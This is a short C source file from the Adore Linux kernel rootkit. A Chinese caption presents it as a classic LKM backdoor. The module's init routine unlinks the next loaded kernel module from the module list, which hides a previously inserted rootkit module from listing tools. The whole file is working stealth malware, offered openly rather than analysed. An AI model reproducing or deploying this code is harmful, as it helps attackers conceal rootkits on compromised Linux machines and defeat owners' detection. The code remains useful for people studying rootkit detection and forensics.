cleaner.c

一款经典的lkm后门

//--------------------------------------------------------------------
//----- $Header: /home/cvsroot/sebek/adore/cleaner.c,v 1.3 2002/08/05 18:36:42 cvs Exp $
//--------------------------------------------------------------------
/*
 * Copyright (C) 1999/2000 Stealth.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 4. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#define __KERNEL__
#define MODULE

//#ifdef MODVERSIONS
//#include <linux/modversions.h>
//#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>

int init_module()
{
  //--- insmod will complain otherwise
#ifdef USE_MOD_LICENSE
  MODULE_LICENSE("GPL");
#endif

  if (__this_module.next)
    __this_module.next = __this_module.next->next;
  
  return 0;
}

int cleanup_module()
{
  return 0;
}